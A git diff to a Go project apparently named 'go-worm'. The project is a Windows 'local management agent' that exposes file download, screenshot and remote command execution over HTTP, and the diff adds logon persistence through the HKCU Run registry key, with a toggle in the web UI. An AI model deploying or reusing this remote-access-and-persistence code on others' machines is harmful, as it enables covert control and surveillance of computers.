diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 0f97fd2..34be650 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -62,6 +62,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/download", a.handleDownload) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/exec", a.handleExec) + mux.HandleFunc("/api/v1/startup", a.handleStartup) a.server = &http.Server{ Addr: a.addr, diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index ee889b4..f0a6ddd 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -21,6 +21,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/models" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" + "tea.chunkbyte.com/kato/go-worm/lib/startup" ) func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) { @@ -44,6 +45,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, + "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, }, }) } @@ -58,9 +60,31 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) { "os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host, "uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(), "agent_version": config.Version, "listen_address": a.addr, + "startup_enabled": startup.Enabled(), }) } +func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodPost: + if err := startup.Enable(); err != nil { + helpers.Log.Printf("startup enable: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup") + return + } + case http.MethodDelete: + if err := startup.Disable(); err != nil { + helpers.Log.Printf("startup disable: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup") + return + } + default: + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()}) +} + func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 9070d98..ad8d0a7 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -8,6 +8,9 @@ const shotGallery = document.getElementById("shot-gallery"); const execOut = document.getElementById("exec-out"); const execMeta = document.getElementById("exec-meta"); + const startupState = document.getElementById("startup-state"); + const startupAdd = document.getElementById("startup-add"); + const startupRemove = document.getElementById("startup-remove"); let objectUrls = []; @@ -89,7 +92,9 @@ ["Listen", data.listen_address], ["Uptime", `${data.uptime_seconds}s`], ["Local IPs", (data.local_ips || []).join(", ") || "—"], + ["Startup", data.startup_enabled ? "enabled" : "disabled"], ]; + setStartup(Boolean(data.startup_enabled)); statusFields.replaceChildren( ...fields.flatMap(([label, value]) => { const dt = document.createElement("dt"); @@ -180,6 +185,19 @@ shotGallery.append(figure); } + function setStartup(enabled) { + startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled"; + startupAdd.disabled = enabled; + startupRemove.disabled = !enabled; + } + + async function setStartupEnabled(enabled) { + const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" }); + const data = await res.json(); + setStartup(Boolean(data.startup_enabled)); + loadStatus().catch((err) => showError(err.message)); + } + async function runCommand() { const command = document.getElementById("exec-command").value.trim(); const timeout = Number(document.getElementById("exec-timeout").value); @@ -207,6 +225,12 @@ document.getElementById("refresh-status").addEventListener("click", () => { Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message)); }); + startupAdd.addEventListener("click", () => { + setStartupEnabled(true).catch((err) => showError(err.message)); + }); + startupRemove.addEventListener("click", () => { + setStartupEnabled(false).catch((err) => showError(err.message)); + }); document.getElementById("file-list").addEventListener("click", () => { listFiles(pathInput.value.trim()).catch((err) => showError(err.message)); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 5f3879a..e4eb434 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -62,6 +62,7 @@ border-color: var(--accent); color: #fff; } + button:disabled { opacity: 0.45; cursor: default; } .panel { display: none; background: var(--card); @@ -142,6 +143,11 @@
+
+ Startup: — + + +
diff --git a/lib/config/config.go b/lib/config/config.go index 7f10010..5f4580f 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -6,14 +6,16 @@ import ( ) const ( - Version = "1.0.0" - DefaultAddr = "0.0.0.0:5032" - MutexName = "LocalManagementAgent_Mutex" - RequestBodyMax = 1 << 20 - MaxListEntries = 10000 - MaxImageQuality = 100 - DefaultExecTO = 30 - MaxExecTO = 120 + Version = "1.0.0" + DefaultAddr = "0.0.0.0:5032" + MutexName = "LocalManagementAgent_Mutex" + RequestBodyMax = 1 << 20 + MaxListEntries = 10000 + MaxImageQuality = 100 + DefaultExecTO = 30 + MaxExecTO = 120 + StartupValueName = "LocalManagementAgent" + StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run` ) func EnvOr(name, fallback string) string { diff --git a/lib/startup/startup.go b/lib/startup/startup.go new file mode 100644 index 0000000..b9adc77 --- /dev/null +++ b/lib/startup/startup.go @@ -0,0 +1,62 @@ +package startup + +import ( + "errors" + "os" + "path/filepath" + + "golang.org/x/sys/windows/registry" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +func Enabled() bool { + k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.QUERY_VALUE) + if err != nil { + return false + } + defer k.Close() + _, _, err = k.GetStringValue(config.StartupValueName) + return err == nil +} + +func Enable() error { + command, err := commandLine() + if err != nil { + return err + } + k, _, err := registry.CreateKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE) + if err != nil { + return err + } + defer k.Close() + return k.SetStringValue(config.StartupValueName, command) +} + +func Disable() error { + k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE) + if err != nil { + if errors.Is(err, registry.ErrNotExist) { + return nil + } + return err + } + defer k.Close() + err = k.DeleteValue(config.StartupValueName) + if errors.Is(err, registry.ErrNotExist) { + return nil + } + return err +} + +func commandLine() (string, error) { + exe, err := os.Executable() + if err != nil { + return "", err + } + exe, err = filepath.Abs(exe) + if err != nil { + return "", err + } + return `"` + exe + `" -background`, nil +}